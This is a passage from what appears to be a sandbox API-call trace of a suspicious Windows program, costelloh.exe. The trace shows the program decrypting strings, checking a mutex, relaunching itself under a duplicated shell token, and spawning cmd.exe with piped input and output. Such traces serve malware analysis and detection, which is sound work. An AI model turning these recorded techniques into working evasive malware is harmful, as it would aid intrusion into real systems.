	[0084.597] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x310
	[0084.597] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102
	[0084.597] CloseHandle (hObject=0x310) returned 1
	[0084.597] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0084.597] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0084.597] Sleep (dwMilliseconds=0x3e8) 
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0085.613] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa7c8) returned 1
	[0085.613] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0085.613] CryptDecrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0085.613] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0085.613] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa488) returned 1
	[0085.613] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0085.613] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0085.613] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0085.613] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0085.613] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0085.613] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0085.613] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0085.613] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0085.613] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0085.613] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa248) returned 1
	[0085.613] CryptSetKeyParam (hKey=0xbaa248, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0085.613] CryptDecrypt (in: hKey=0xbaa248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0085.613] CryptDestroyKey (hKey=0xbaa248) returned 1
	[0085.613] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0085.613] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x310
	[0085.613] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102
	[0085.614] CloseHandle (hObject=0x310) returned 1
	[0085.614] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0085.614] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0085.614] Sleep (dwMilliseconds=0x3e8) 
	[0086.627] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0086.627] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa348) returned 1
	[0086.627] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0086.627] CryptDecrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0086.627] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0086.627] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0086.627] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0086.627] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0086.627] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa6c8) returned 1
	[0086.627] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0086.627] CryptDecrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0086.627] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0086.627] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0086.627] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0086.627] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0086.627] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0086.627] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0086.628] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0086.628] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0086.628] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa608) returned 1
	[0086.628] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0086.628] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0086.628] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0086.628] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0086.628] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x34c
	[0086.628] WaitForSingleObject (hHandle=0x34c, dwMilliseconds=0x0) returned 0x102
	[0086.628] CloseHandle (hObject=0x34c) returned 1
	[0086.628] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0086.628] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0086.628] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 4
	os_tid = 0xd4c

	[0050.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x27211c0
	[0050.497] GetVersion () returned 0x23f00206
	[0050.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x27213d8
	[0050.497] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298f77c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298f7e4 | out: phKey=0x298f7e4*=0xb99428) returned 1
	[0050.497] CryptSetKeyParam (hKey=0xb99428, dwParam=0x1, pbData=0x298f7cc, dwFlags=0x0) returned 1
	[0050.498] CryptDecrypt (in: hKey=0xb99428, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27213d8, pdwDataLen=0x298f798 | out: pbData=0x27213d8, pdwDataLen=0x298f798) returned 1
	[0050.498] CryptDestroyKey (hKey=0xb99428) returned 1
	[0050.498] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0050.498] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0050.498] Wow64DisableWow64FsRedirection (in: OldValue=0x298f880 | out: OldValue=0x298f880*=0x0) returned 1
	[0050.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213d8 | out: hHeap=0x2720000) returned 1
	[0050.498] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000
	[0050.498] GetProcAddress (hModule=0x761b0000, lpProcName="CreateProcessWithTokenW") returned 0x761c0c70
	[0050.498] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27211c0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0050.498] GetShellWindow () returned 0x100f0
	[0050.499] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x298f888 | out: lpdwProcessId=0x298f888) returned 0x864
	[0050.499] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x860) returned 0x228
	[0050.499] OpenProcessToken (in: ProcessHandle=0x228, DesiredAccess=0x2000000, TokenHandle=0x298f894 | out: TokenHandle=0x298f894*=0x22c) returned 1
	[0050.500] DuplicateTokenEx (in: hExistingToken=0x22c, dwDesiredAccess=0x2000000, lpTokenAttributes=0x298f874, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x298f890 | out: phNewToken=0x298f890*=0x230) returned 1
	[0050.500] CreateProcessWithTokenW (in: hToken=0x230, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x298f820*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x298f864 | out: lpCommandLine=0x0, lpProcessInformation=0x298f864*(hProcess=0x26c, hThread=0x270, dwProcessId=0x8f4, dwThreadId=0x260)) returned 1
	[0051.033] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x27213d8
	[0051.033] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298f77c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298f7e4 | out: phKey=0x298f7e4*=0xb99368) returned 1
	[0051.033] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x298f7cc, dwFlags=0x0) returned 1
	[0051.034] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27213d8, pdwDataLen=0x298f798 | out: pbData=0x27213d8, pdwDataLen=0x298f798) returned 1
	[0051.034] CryptDestroyKey (hKey=0xb99368) returned 1
	[0051.034] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0051.034] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75ea6b50
	[0051.034] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0051.034] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213d8 | out: hHeap=0x2720000) returned 1
	[0051.034] CloseHandle (hObject=0x228) returned 1
	[0051.034] CloseHandle (hObject=0x26c) returned 1
	[0051.035] CloseHandle (hObject=0x270) returned 1
	[0051.035] CloseHandle (hObject=0x22c) returned 1
	[0051.035] CloseHandle (hObject=0x230) returned 1
	[0051.035] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1

Thread:
	id = 10
	os_tid = 0x48c

	[0055.766] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0055.766] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298fb30 | out: phKey=0x298fb30*=0xb98da8) returned 1
	[0055.766] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x298fb18, dwFlags=0x0) returned 1
	[0055.766] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x298fae4 | out: pbData=0x2721228, pdwDataLen=0x298fae4) returned 1
	[0055.766] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0055.816] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x14) returned 0x2721250
	[0055.816] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x14) returned 0x27213b8
	[0055.816] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27213d8
	[0055.816] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298faa0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298fb08 | out: phKey=0x298fb08*=0xb99428) returned 1
	[0055.816] CryptSetKeyParam (hKey=0xb99428, dwParam=0x1, pbData=0x298faf0, dwFlags=0x0) returned 1
	[0055.817] CryptDecrypt (in: hKey=0xb99428, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27213d8, pdwDataLen=0x298fabc | out: pbData=0x27213d8, pdwDataLen=0x298fabc) returned 1
	[0055.817] CryptDestroyKey (hKey=0xb99428) returned 1
	[0055.817] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213d8 | out: hHeap=0x2720000) returned 1
	[0055.817] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2721250, nSize=0xa | out: lpDst="") returned 0x1c
	[0055.817] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213b8 | out: hHeap=0x2720000) returned 1
	[0055.817] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x26) returned 0x2721250
	[0055.817] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x26) returned 0x27213b8
	[0055.817] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27213e8
	[0055.817] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298fa9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298fb04 | out: phKey=0x298fb04*=0xb98da8) returned 1
	[0055.817] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x298faec, dwFlags=0x0) returned 1
	[0055.817] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27213e8, pdwDataLen=0x298fab8 | out: pbData=0x27213e8, pdwDataLen=0x298fab8) returned 1
	[0055.817] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0055.817] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213e8 | out: hHeap=0x2720000) returned 1
	[0055.817] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2721250, nSize=0x13 | out: lpDst="") returned 0x1c
	[0055.817] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213b8 | out: hHeap=0x2720000) returned 1
	[0055.817] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x4a) returned 0x27213b8
	[0055.817] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4a) returned 0x2721410
	[0055.817] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721468
	[0055.817] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298fa9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298fb04 | out: phKey=0x298fb04*=0xb99368) returned 1
	[0055.817] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x298faec, dwFlags=0x0) returned 1
	[0055.818] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721468, pdwDataLen=0x298fab8 | out: pbData=0x2721468, pdwDataLen=0x298fab8) returned 1
	[0055.818] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.818] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0055.818] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x27213b8, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0055.818] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721410 | out: hHeap=0x2720000) returned 1
	[0055.818] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.818] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2721228
	[0055.818] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x298fac0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x298fb28 | out: phKey=0x298fb28*=0xb98e68) returned 1
	[0055.818] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x298fb10, dwFlags=0x0) returned 1
	[0055.818] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x298fadc | out: pbData=0x2721228, pdwDataLen=0x298fadc) returned 1
	[0055.818] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0055.818] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0055.818] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0055.819] Wow64DisableWow64FsRedirection (in: OldValue=0x298fbe0 | out: OldValue=0x298fbe0*=0x0) returned 1
	[0055.819] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.819] CreatePipe (in: hReadPipe=0x298fbec, hWritePipe=0x298fbf0, lpPipeAttributes=0x298fbc8, nSize=0x0 | out: hReadPipe=0x298fbec*=0x27c, hWritePipe=0x298fbf0*=0x280) returned 1
	[0055.819] CreatePipe (in: hReadPipe=0x298fbe8, hWritePipe=0x298fbe4, lpPipeAttributes=0x298fbc8, nSize=0x0 | out: hReadPipe=0x298fbe8*=0x284, hWritePipe=0x298fbe4*=0x288) returned 1
	[0055.819] SetHandleInformation (hObject=0x280, dwMask=0x1, dwFlags=0x0) returned 1
	[0055.820] SetHandleInformation (hObject=0x284, dwMask=0x1, dwFlags=0x0) returned 1
	[0055.820] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x298fb74*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288), lpProcessInformation=0x298fbb8 | out: lpCommandLine=0x0, lpProcessInformation=0x298fbb8*(hProcess=0x290, hThread=0x28c, dwProcessId=0xdcc, dwThreadId=0xa5c)) returned 1
	[0056.491] WriteFile (in: hFile=0x280, lpBuffer=0x2721288*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x298fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2721288*, lpNumberOfBytesWritten=0x298fbd4*=0xbc, lpOverlapped=0x0) returned 1
	[0056.491] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xffffffff) 

Thread:
	id = 11
	os_tid = 0xe0c

	[0056.419] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0056.419] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2a8f940, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8f9a8 | out: phKey=0x2a8f9a8*=0xb98da8) returned 1
	[0056.419] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x2a8f990, dwFlags=0x0) returned 1
	[0056.419] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x2a8f95c | out: pbData=0x2721228, pdwDataLen=0x2a8f95c) returned 1
	[0056.419] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0056.419] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x14) returned 0x2721250
	[0056.419] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x14) returned 0x2721410
	[0056.419] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721430
	[0056.419] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2a8f918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8f980 | out: phKey=0x2a8f980*=0xb99428) returned 1
	[0056.419] CryptSetKeyParam (hKey=0xb99428, dwParam=0x1, pbData=0x2a8f968, dwFlags=0x0) returned 1
	[0056.419] CryptDecrypt (in: hKey=0xb99428, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721430, pdwDataLen=0x2a8f934 | out: pbData=0x2721430, pdwDataLen=0x2a8f934) returned 1
	[0056.419] CryptDestroyKey (hKey=0xb99428) returned 1
	[0056.419] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721430 | out: hHeap=0x2720000) returned 1
	[0056.420] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2721250, nSize=0xa | out: lpDst="") returned 0x1c
	[0056.420] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721410 | out: hHeap=0x2720000) returned 1
	[0056.420] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x26) returned 0x2721250
	[0056.420] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x26) returned 0x2721410
	[0056.420] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721440
	[0056.420] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2a8f914, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8f97c | out: phKey=0x2a8f97c*=0xb98da8) returned 1
	[0056.420] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0x2a8f964, dwFlags=0x0) returned 1
	[0056.420] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721440, pdwDataLen=0x2a8f930 | out: pbData=0x2721440, pdwDataLen=0x2a8f930) returned 1
	[0056.420] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0056.420] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721440 | out: hHeap=0x2720000) returned 1
	[0056.420] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2721250, nSize=0x13 | out: lpDst="") returned 0x1c
	[0056.420] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721410 | out: hHeap=0x2720000) returned 1
	[0056.420] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x4a) returned 0x2721410
	[0056.420] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4a) returned 0x2721468
	[0056.420] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27252c8
	[0056.420] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2a8f914, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8f97c | out: phKey=0x2a8f97c*=0xb99368) returned 1
	[0056.420] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x2a8f964, dwFlags=0x0) returned 1
	[0056.420] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27252c8, pdwDataLen=0x2a8f930 | out: pbData=0x27252c8, pdwDataLen=0x2a8f930) returned 1
	[0056.420] CryptDestroyKey (hKey=0xb99368) returned 1
	[0056.420] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27252c8 | out: hHeap=0x2720000) returned 1
	[0056.420] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2721410, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0056.421] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0056.421] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0056.421] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x50) returned 0x2721228
	[0056.421] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x2a8f938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a8f9a0 | out: phKey=0x2a8f9a0*=0xb98e68) returned 1
	[0056.421] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x2a8f988, dwFlags=0x0) returned 1
	[0056.421] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x2a8f954 | out: pbData=0x2721228, pdwDataLen=0x2a8f954) returned 1
	[0056.421] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0056.421] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000
	[0056.421] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0056.421] Wow64DisableWow64FsRedirection (in: OldValue=0x2a8fa58 | out: OldValue=0x2a8fa58*=0x0) returned 1
	[0056.421] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0056.421] CreatePipe (in: hReadPipe=0x2a8fa64, hWritePipe=0x2a8fa68, lpPipeAttributes=0x2a8fa40, nSize=0x0 | out: hReadPipe=0x2a8fa64*=0x2a4, hWritePipe=0x2a8fa68*=0x2a8) returned 1
	[0056.422] CreatePipe (in: hReadPipe=0x2a8fa60, hWritePipe=0x2a8fa5c, lpPipeAttributes=0x2a8fa40, nSize=0x0 | out: hReadPipe=0x2a8fa60*=0x2ac, hWritePipe=0x2a8fa5c*=0x2b0) returned 1
	[0056.422] SetHandleInformation (hObject=0x2a8, dwMask=0x1, dwFlags=0x0) returned 1
	[0056.422] SetHandleInformation (hObject=0x2ac, dwMask=0x1, dwFlags=0x0) returned 1
